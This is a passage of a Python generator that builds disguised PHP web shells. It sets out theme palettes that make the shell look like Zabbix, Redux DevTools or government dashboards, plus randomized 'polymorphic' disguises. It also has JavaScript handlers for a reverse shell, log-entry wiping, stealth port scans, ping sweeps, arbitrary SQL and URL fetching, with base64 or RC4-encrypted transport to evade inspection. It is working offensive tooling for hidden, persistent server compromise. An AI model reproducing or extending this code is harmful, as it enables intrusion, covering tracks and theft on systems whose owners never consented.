"body_bg": "#000000", "body_fg": "#00ff41",
"shell_bg": "radial-gradient(ellipse at center, #001400 0%, #000000 100%)",
"shell_border": "#004400", "shell_glow": "rgba(0,255,65,0.12)",
"stream_fg": "#00cc33", "prompt_fg": "#00ff41", "prompt_host_fg": "#00cc33",
"header_fg": "#00ff41", "header_shadow": "#00ff4133",
"entry_bg": "#001100", "entry_border": "rgba(0,68,0,.8)",
"input_fg": "#00ff41",
"form_bg": "#001a00", "form_border": "#004400",
"input_bg": "#000a00", "input_border": "#004400", "input_fg2": "#00cc33",
"btn_bg": "#003300", "btn_fg": "#00ff41",
"error_fg": "#ff0000", "note_fg": "#006600",
"scroll_track": "#001100", "scroll_thumb": "#006600",
},
# ── Zabbix monitoring dashboard camouflage ──
"zabbix": {
"app_name": "Zabbix Frontend", "version_prefix": "v",
"body_bg": "#0f1318", "body_fg": "#c3ccd6",
"shell_bg": "radial-gradient(ellipse at center, #131b26 0%, #0b0f15 100%)",
"shell_border": "#1e2d40", "shell_glow": "rgba(209,79,43,0.08)",
"stream_fg": "#b8c5d0", "prompt_fg": "#d14f2b", "prompt_host_fg": "#5ba3c9",
"header_fg": "#d14f2b", "header_shadow": "#d14f2b44",
"entry_bg": "#111820", "entry_border": "rgba(30,45,64,.8)",
"input_fg": "#c3ccd6",
"form_bg": "#131b26", "form_border": "#1e2d40",
"input_bg": "#0b0f15", "input_border": "#1e2d40", "input_fg2": "#b8c5d0",
"btn_bg": "#d14f2b", "btn_fg": "#ffffff",
"error_fg": "#e05c3b", "note_fg": "#4a5a6b",
"scroll_track": "#111820", "scroll_thumb": "#2a3d52",
},
# ── Watch Dogs ctOS cold blue-green palette ──
"ctos": {
"app_name": "ctOS Interface", "version_prefix": "v",
"body_bg": "#09131c", "body_fg": "#00d4e8",
"shell_bg": "radial-gradient(ellipse at center, #0d1a25 0%, #060e15 100%)",
"shell_border": "#005f6e", "shell_glow": "rgba(0,213,232,0.10)",
"stream_fg": "#00bcd4", "prompt_fg": "#00ff7f", "prompt_host_fg": "#00d4e8",
"header_fg": "#00d4e8", "header_shadow": "#00d4e844",
"entry_bg": "#0b1720", "entry_border": "rgba(0,95,110,.8)",
"input_fg": "#00d4e8",
"form_bg": "#0d1a25", "form_border": "#005f6e",
"input_bg": "#060e15", "input_border": "#005f6e", "input_fg2": "#00bcd4",
"btn_bg": "#006b7a", "btn_fg": "#00d4e8",
"error_fg": "#ff4444", "note_fg": "#005060",
"scroll_track": "#0b1720", "scroll_thumb": "#005f6e",
},
# ── Mr. Robot / fsociety — dark mono with red accent ──
"fsociety": {
"app_name": "Secure Shell", "version_prefix": "v",
"body_bg": "#0d0d0d", "body_fg": "#d0d0d0",
"shell_bg": "radial-gradient(ellipse at center, #111111 0%, #080808 100%)",
"shell_border": "#2a0a0a", "shell_glow": "rgba(204,34,0,0.10)",
"stream_fg": "#c0c0c0", "prompt_fg": "#cc2200", "prompt_host_fg": "#999999",
"header_fg": "#cc2200", "header_shadow": "#cc220044",
"entry_bg": "#111111", "entry_border": "rgba(42,10,10,.8)",
"input_fg": "#d0d0d0",
"form_bg": "#111111", "form_border": "#2a0a0a",
"input_bg": "#080808", "input_border": "#2a0a0a", "input_fg2": "#c0c0c0",
"btn_bg": "#cc2200", "btn_fg": "#ffffff",
"error_fg": "#ff3300", "note_fg": "#555555",
"scroll_track": "#111111", "scroll_thumb": "#3a0a0a",
},
# ── Russian tricolor (white/blue/red) palette ──
"russia": {
"app_name": "Federal Monitor", "version_prefix": "v",
"body_bg": "#0a0a14", "body_fg": "#e8e8f0",
"shell_bg": "radial-gradient(ellipse at center, #0e0e1e 0%, #070710 100%)",
"shell_border": "#1a1a2e", "shell_glow": "rgba(204,0,0,0.09)",
"stream_fg": "#d8d8e8", "prompt_fg": "#cc0000", "prompt_host_fg": "#4466cc",
"header_fg": "#cc0000", "header_shadow": "#cc000044",
"entry_bg": "#0c0c1a", "entry_border": "rgba(26,26,46,.8)",
"input_fg": "#e8e8f0",
"form_bg": "#0e0e1e", "form_border": "#1a1a2e",
"input_bg": "#070710", "input_border": "#1a1a2e", "input_fg2": "#d8d8e8",
"btn_bg": "#cc0000", "btn_fg": "#ffffff",
"error_fg": "#ff4444", "note_fg": "#3a3a5a",
"scroll_track": "#0c0c1a", "scroll_thumb": "#2a2a4a",
},
# ── North Korea — stark red on near-black ──
"korea": {
"app_name": "Monitoring System", "version_prefix": "v",
"body_bg": "#080808", "body_fg": "#e8e8e8",
"shell_bg": "radial-gradient(ellipse at center, #100808 0%, #060606 100%)",
"shell_border": "#2a0000", "shell_glow": "rgba(255,34,0,0.08)",
"stream_fg": "#dddddd", "prompt_fg": "#ff2200", "prompt_host_fg": "#4488cc",
"header_fg": "#ff2200", "header_shadow": "#ff220044",
"entry_bg": "#0e0808", "entry_border": "rgba(42,0,0,.8)",
"input_fg": "#e8e8e8",
"form_bg": "#100808", "form_border": "#2a0000",
"input_bg": "#060606", "input_border": "#2a0000", "input_fg2": "#dddddd",
"btn_bg": "#cc0000", "btn_fg": "#ffffff",
"error_fg": "#ff4444", "note_fg": "#444444",
"scroll_track": "#0e0808", "scroll_thumb": "#440000",
},
# ── French tricolor (bleu/blanc/rouge) ──
"france": {
"app_name": "Tableau de Bord", "version_prefix": "v",
"body_bg": "#05091a", "body_fg": "#dde2f0",
"shell_bg": "radial-gradient(ellipse at center, #090e24 0%, #030614 100%)",
"shell_border": "#1a2060", "shell_glow": "rgba(237,41,57,0.08)",
"stream_fg": "#c8d0e8", "prompt_fg": "#ed2939", "prompt_host_fg": "#4466cc",
"header_fg": "#ed2939", "header_shadow": "#ed293944",
"entry_bg": "#080d20", "entry_border": "rgba(26,32,96,.8)",
"input_fg": "#dde2f0",
"form_bg": "#090e24", "form_border": "#1a2060",
"input_bg": "#030614", "input_border": "#1a2060", "input_fg2": "#c8d0e8",
"btn_bg": "#002395", "btn_fg": "#ffffff",
"error_fg": "#ed2939", "note_fg": "#353c6a",
"scroll_track": "#080d20", "scroll_thumb": "#253080",
},
# ── American flag palette (navy/red/white) ──
"usa": {
"app_name": "Federal Operations", "version_prefix": "v",
"body_bg": "#05071a", "body_fg": "#e8e0d0",
"shell_bg": "radial-gradient(ellipse at center, #0a0c22 0%, #030514 100%)",
"shell_border": "#1c1a4a", "shell_glow": "rgba(178,34,52,0.08)",
"stream_fg": "#d8d0c0", "prompt_fg": "#b22234", "prompt_host_fg": "#5c5c8e",
"header_fg": "#b22234", "header_shadow": "#b2223444",
"entry_bg": "#080a1e", "entry_border": "rgba(28,26,74,.8)",
"input_fg": "#e8e0d0",
"form_bg": "#0a0c22", "form_border": "#1c1a4a",
"input_bg": "#030514", "input_border": "#1c1a4a", "input_fg2": "#d8d0c0",
"btn_bg": "#3c3b6e", "btn_fg": "#ffffff",
"error_fg": "#b22234", "note_fg": "#35336a",
"scroll_track": "#080a1e", "scroll_thumb": "#2a2865",
},
# ── Redux DevTools — purple on near-black ──
"redux": {
"app_name": "State Inspector", "version_prefix": "v",
"body_bg": "#1a1b2e", "body_fg": "#cba6f7",
"shell_bg": "radial-gradient(ellipse at center, #1f1f38 0%, #141424 100%)",
"shell_border": "#45406a", "shell_glow": "rgba(118,74,188,0.12)",
"stream_fg": "#b0a0e0", "prompt_fg": "#a97df5", "prompt_host_fg": "#7c6dbd",
"header_fg": "#a97df5", "header_shadow": "#764abc44",
"entry_bg": "#1d1e30", "entry_border": "rgba(69,64,106,.8)",
"input_fg": "#cba6f7",
"form_bg": "#1f1f38", "form_border": "#45406a",
"input_bg": "#141424", "input_border": "#45406a", "input_fg2": "#b0a0e0",
"btn_bg": "#764abc", "btn_fg": "#ffffff",
"error_fg": "#f48fb1", "note_fg": "#544d7e",
"scroll_track": "#1d1e30", "scroll_thumb": "#45406a",
},
}
# app_name/version_prefix pool for --theme poly (generic monitoring look, distinct from named themes)
POLY_APP_NAMES = [
"System Monitor", "Node Inspector", "Service Dashboard",
"Cluster Console", "Infra Terminal", "Stack Monitor",
"Platform Console", "Runtime Inspector", "Deploy Console",
"Ops Dashboard", "Health Monitor", "Agent Terminal",
"Mesh Dashboard", "Relay Console", "Core Monitor",
"Grid Terminal", "Nexus Console", "Vault Monitor",
"Apex Dashboard", "Pulse Console",
]
POLY_VER_PREFIXES = ["v", "build-", "r", "ver.", "rel-", ""]
# --theme none: bare terminal, no styled header, no color signature
THEME_NONE = {
"app_name": "", "version_prefix": "",
"body_bg": "#0c0c0c", "body_fg": "#d4d4d4",
"shell_bg": "#0c0c0c",
"shell_border": "#2a2a2a", "shell_glow": "rgba(0,0,0,0)",
"stream_fg": "#d4d4d4", "prompt_fg": "#ffffff", "prompt_host_fg": "#cccccc",
"header_fg": "transparent", "header_shadow": "rgba(0,0,0,0)",
"entry_bg": "#111111", "entry_border": "rgba(255,255,255,0.08)",
"input_fg": "#d4d4d4",
"form_bg": "#111111", "form_border": "#2a2a2a",
"input_bg": "#0c0c0c", "input_border": "#2a2a2a", "input_fg2": "#d4d4d4",
"btn_bg": "#2a2a2a", "btn_fg": "#d4d4d4",
"error_fg": "#cc3333", "note_fg": "#666666",
"scroll_track": "#111111", "scroll_thumb": "#333333",
}
# ─────────────────────────────────────────────────────────────────────────────
# HELPERS
# ─────────────────────────────────────────────────────────────────────────────
def generate_poly_theme(rng, app_names=None):
h = rng.randint(0, 359)
ah = (h + rng.randint(130, 230)) % 360
bg_s = rng.randint(8, 20)
bg_l = rng.randint(8, 14)
fg_s = rng.randint(5, 15)
fg_l = rng.randint(78, 90)
acc_s = rng.randint(55, 80)
acc_l = rng.randint(48, 65)
def hsl(hh, ss, ll):
return f"hsl({hh},{max(0, ss)}%,{max(3, ll)}%)"
def hsla(hh, ss, ll, aa):
return f"hsla({hh},{max(0, ss)}%,{max(3, ll)}%,{aa:.2f})"
return {
"app_name": rng.choice(app_names or POLY_APP_NAMES),
"version_prefix": rng.choice(POLY_VER_PREFIXES),
"body_bg": hsl(h, bg_s, bg_l),
"body_fg": hsl(h, fg_s, fg_l),
"shell_bg": f"radial-gradient(ellipse at center, {hsl(h, bg_s+3, bg_l+2)} 0%, {hsl(h, bg_s, bg_l-3)} 100%)",
"shell_border": hsl(h, bg_s, bg_l + rng.randint(12, 22)),
"shell_glow": hsla(ah, acc_s, acc_l, round(rng.uniform(0.05, 0.14), 2)),
"stream_fg": hsl(h, fg_s, fg_l - rng.randint(5, 12)),
"prompt_fg": hsl(ah, acc_s, acc_l),
"prompt_host_fg": hsl((ah + rng.randint(-20, 20)) % 360,
max(30, acc_s - rng.randint(0, 15)),
max(35, acc_l + rng.randint(-8, 8))),
"header_fg": hsl(ah, acc_s, acc_l),
"header_shadow": hsla(ah, acc_s, acc_l, round(rng.uniform(0.20, 0.40), 2)),
"entry_bg": hsl(h, bg_s + 2, bg_l + rng.randint(2, 5)),
"entry_border": hsla(h, bg_s, bg_l + 20, round(rng.uniform(0.40, 0.80), 2)),
"input_fg": hsl(h, fg_s, fg_l),
"form_bg": hsl(h, bg_s, bg_l + rng.randint(4, 9)),
"form_border": hsl(h, bg_s, bg_l + rng.randint(14, 22)),
"input_bg": hsl(h, bg_s, bg_l - 2),
"input_border": hsl(h, bg_s, bg_l + rng.randint(14, 22)),
"input_fg2": hsl(h, fg_s, fg_l - 5),
"btn_bg": hsl(ah, acc_s - rng.randint(0, 15), acc_l - rng.randint(0, 10)),
"btn_fg": "#ffffff" if acc_l < 58 else "#000000",
"error_fg": hsl(rng.randint(355, 365) % 360, rng.randint(55, 70), rng.randint(55, 65)),
"note_fg": hsl(h, bg_s, bg_l + rng.randint(28, 40)),
"scroll_track": hsl(h, bg_s, bg_l + rng.randint(3, 7)),
"scroll_thumb": hsl(h, bg_s, bg_l + rng.randint(20, 32)),
}
def rnd_token(rng, length=7):
return ''.join(rng.choices(string.ascii_lowercase + string.digits, k=length))
def pick(pool, used, rng):
available = [x for x in pool if x not in used]
if not available:
return 'fn_' + rnd_token(rng, 8)
choice = rng.choice(available)
used.add(choice)
return choice
# ─────────────────────────────────────────────────────────────────────────────
# PHP GENERATION
# ─────────────────────────────────────────────────────────────────────────────
def build_php_section(n, jv, ids, route_param, routes, session_key_val,
bcrypt_hash, username, junk_before, junk_after,
case_order, theme, ver, rng,
transport, transport_ctx, features, no_auth=False,
poly_app_names=None):
if theme == 'poly':
T = generate_poly_theme(rng, app_names=poly_app_names)
elif theme == 'none':
T = THEME_NONE
else:
T = CSS_THEMES[theme]
cfg = n['cfg_var']
# ── Transport setup ──
p_cmd = transport_ctx['p_cmd']
p_cwd = transport_ctx['p_cwd']
p_filename = transport_ctx['p_filename']
p_filetype = transport_ctx['p_filetype']
p_path = transport_ctx['p_path']
p_file = transport_ctx['p_file']
p_ip = transport_ctx['p_ip']
p_port_rs = transport_ctx['p_port_rs']
p_logfile = transport_ctx['p_logfile']
p_pattern = transport_ctx['p_pattern']
p_target = transport_ctx['p_target']
p_ports_ps = transport_ctx['p_ports_ps']
p_mode = transport_ctx['p_mode']
p_timeout = transport_ctx['p_timeout']
p_pause = transport_ctx['p_pause']
p_rs_method = transport_ctx['p_rs_method']
p_ps_probe = transport_ctx['p_ps_probe']
p_dsn = transport_ctx['p_dsn']
p_dbuser = transport_ctx['p_dbuser']
p_dbpass = transport_ctx['p_dbpass']
p_sqlq = transport_ctx['p_sqlq']
p_url = transport_ctx['p_url']
# ── Feature-gated JS interceptors ──
jfn = jv # alias used throughout f-string template
_js_interceptors = []
if features.get('revshell'):
_js_interceptors.append(
f" var _rsRaw = command.match(/^\\s*revshell\\s+(\\S+)\\s+(\\d+)(.*)?$/i);\n"
f" if (_rsRaw) {{\n"
f" var _rsMethod = '';\n"
f" var _rsMethodM = (_rsRaw[3] || '').match(/--method\\s+(\\S+)/i);\n"
f" if (_rsMethodM) _rsMethod = _rsMethodM[1];\n"
f" {jfn['pipe_call']}(\"?{route_param}={routes['revshell']}\", {{{p_ip}: _rsRaw[1], {p_port_rs}: _rsRaw[2], {p_rs_method}: _rsMethod}}, function(r) {{\n"
f" {jfn['insert_stdout']}({jfn['b64u']}(r.stdout || \"\"));\n"
f" }});\n"
f" return;\n"
f" }}"
)
if features.get('clearlog'):
_js_interceptors.append(
f" var _clm = command.match(/^\\s*clearlog\\s+(\\S+)\\s+(.+?)\\s*$/i);\n"
f" if (_clm) {{\n"
f" {jfn['pipe_call']}(\"?{route_param}={routes['clearlog']}\", {{{p_logfile}: _clm[1], {p_pattern}: _clm[2]}}, function(r) {{\n"
f" {jfn['insert_stdout']}({jfn['b64u']}(r.stdout || \"\"));\n"
f" }});\n"
f" return;\n"
f" }}"
)
if features.get('portscan'):
_js_interceptors.append(
f" var _psmRaw = command.match(/^\\s*portscan\\s+(\\S+)\\s+(\\S+)(.*)?$/i);\n"
f" if (_psmRaw) {{\n"
f" var _psMode = 'default', _psTout = '', _psPause = '';\n"
f" var _psRest = _psmRaw[3] || '';\n"
f" if (/--stealth/i.test(_psRest)) _psMode = 'stealth';\n"
f" else if (/--fast/i.test(_psRest)) _psMode = 'fast';\n"
f" var _psTM = _psRest.match(/--timeout\\s+(\\S+)/i);\n"
f" if (_psTM) _psTout = _psTM[1];\n"
f" var _psPM = _psRest.match(/--pause\\s+(\\S+)/i);\n"
f" if (_psPM) _psPause = _psPM[1];\n"
f" {jfn['insert_stdout']}(\"Scanning...\");\n"
f" {jfn['pipe_call']}(\"?{route_param}={routes['portscan']}\", {{{p_target}: _psmRaw[1], {p_ports_ps}: _psmRaw[2], {p_mode}: _psMode, {p_timeout}: _psTout, {p_pause}: _psPause}}, function(r) {{\n"
f" {jfn['insert_stdout']}({jfn['b64u']}(r.stdout || \"\"));\n"
f" }});\n"
f" return;\n"
f" }}"
)
if features.get('pingsweep'):
_js_interceptors.append(
f" var _pgmRaw = command.match(/^\\s*pingsweep\\s+(\\S+)(.*)?$/i);\n"
f" if (_pgmRaw) {{\n"
f" var _pgMode = 'default', _pgTout = '', _pgPause = '', _pgProbe = '';\n"
f" var _pgRest = _pgmRaw[2] || '';\n"
f" if (/--stealth/i.test(_pgRest)) _pgMode = 'stealth';\n"
f" else if (/--fast/i.test(_pgRest)) _pgMode = 'fast';\n"
f" var _pgTM = _pgRest.match(/--timeout\\s+(\\S+)/i);\n"
f" if (_pgTM) _pgTout = _pgTM[1];\n"
f" var _pgPM = _pgRest.match(/--pause\\s+(\\S+)/i);\n"
f" if (_pgPM) _pgPause = _pgPM[1];\n"
f" var _pgPrM = _pgRest.match(/--ports\\s+(\\S+)/i);\n"
f" if (_pgPrM) _pgProbe = _pgPrM[1];\n"
f" {jfn['insert_stdout']}(\"Sweeping...\");\n"
f" {jfn['pipe_call']}(\"?{route_param}={routes['pingsweep']}\", {{{p_target}: _pgmRaw[1], {p_ps_probe}: _pgProbe, {p_mode}: _pgMode, {p_timeout}: _pgTout, {p_pause}: _pgPause}}, function(r) {{\n"
f" {jfn['insert_stdout']}({jfn['b64u']}(r.stdout || \"\"));\n"
f" }});\n"
f" return;\n"
f" }}"
)
if features.get('sql'):
_js_interceptors.append(
f" var _sqlM = command.match(/^\\s*sql\\s+(\\S+)\\s+([\\s\\S]+?)\\s*$/i);\n"
f" if (_sqlM) {{\n"
f" var _sqlU = '', _sqlP = '', _sqlRest = _sqlM[2];\n"
f" if (!/^sqlite:/i.test(_sqlM[1])) {{\n"
f" var _sqlC = _sqlRest.match(/^(\\S+)\\s+(\\S+)\\s+([\\s\\S]+)$/);\n"
f" if (_sqlC) {{ _sqlU = _sqlC[1]; _sqlP = _sqlC[2]; _sqlRest = _sqlC[3]; }}\n"
f" }}\n"
f" var _sqlQ = _sqlRest.replace(/^([\"'])([\\s\\S]*)\\1$/, '$2');\n"
f" {jfn['pipe_call']}(\"?{route_param}={routes['sql']}\", {{{p_dsn}: _sqlM[1], {p_dbuser}: _sqlU, {p_dbpass}: _sqlP, {p_sqlq}: _sqlQ}}, function(r) {{\n"
f" {jfn['insert_stdout']}({jfn['b64u']}(r.stdout || \"\"));\n"
f" }});\n"
f" return;\n"
f" }}"
)
if features.get('fetch'):
_js_interceptors.append(
f" var _feM = command.match(/^\\s*fetch\\s+(\\S+)\\s*$/i);\n"
f" if (_feM) {{\n"
f" {jfn['insert_stdout']}(\"Fetching...\");\n"
f" {jfn['pipe_call']}(\"?{route_param}={routes['fetch']}\", {{{p_url}: _feM[1]}}, function(r) {{\n"
f" {jfn['insert_stdout']}({jfn['b64u']}(r.stdout || \"\"));\n"
f" }});\n"
f" return;\n"
f" }}"
)
js_feature_interceptors = ("\n" + "\n".join(_js_interceptors)) if _js_interceptors else ""
if transport == 'plain':
def pdec(param, fallback=None):
s = f"$_POST['{param}']"
return s + (' ?? ' + (fallback or "''"))
php_transport_inject = ''
php_ct = 'application/json'
php_echo = 'echo json_encode($response);'
js_transport_inject = ''
js_enc = 'String(v)'
js_dec = 'JSON.parse(r)'
elif transport == 'mimic':
def pdec(param, fallback=None):
s = f"base64_decode($_POST['{param}'] ?? '')"
return s + (' ?: ' + fallback if fallback else '')
php_transport_inject = ''
php_ct = 'text/plain'
php_echo = 'echo base64_encode(json_encode($response));'
js_transport_inject = ''
js_enc = 'btoa(unescape(encodeURIComponent(String(v))))'
js_dec = 'JSON.parse(decodeURIComponent(escape(atob(r))))'
else: # rc4
rc4_key_hex = transport_ctx['rc4_key_hex']
rc4_key_bytes = transport_ctx['rc4_key_bytes']
b64_alpha = transport_ctx['b64_alpha']
rc4_bytes_js = ','.join(str(b) for b in rc4_key_bytes)
php_transport_inject = (
f"define('__TK', hex2bin('{rc4_key_hex}'));\n"
f"define('__TA', '{b64_alpha}');\n"
"define('__TS', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');\n"
"function __trc4(string $d): string {\n"
" $k=__TK; $s=range(0,255); $j=0;\n"
" for($i=0;$i<256;$i++){$j=($j+$s[$i]+ord($k[$i%strlen($k)]))%256;[$s[$i],$s[$j]]=[$s[$j],$s[$i]];}\n"
" $i=$j=0; $o='';\n"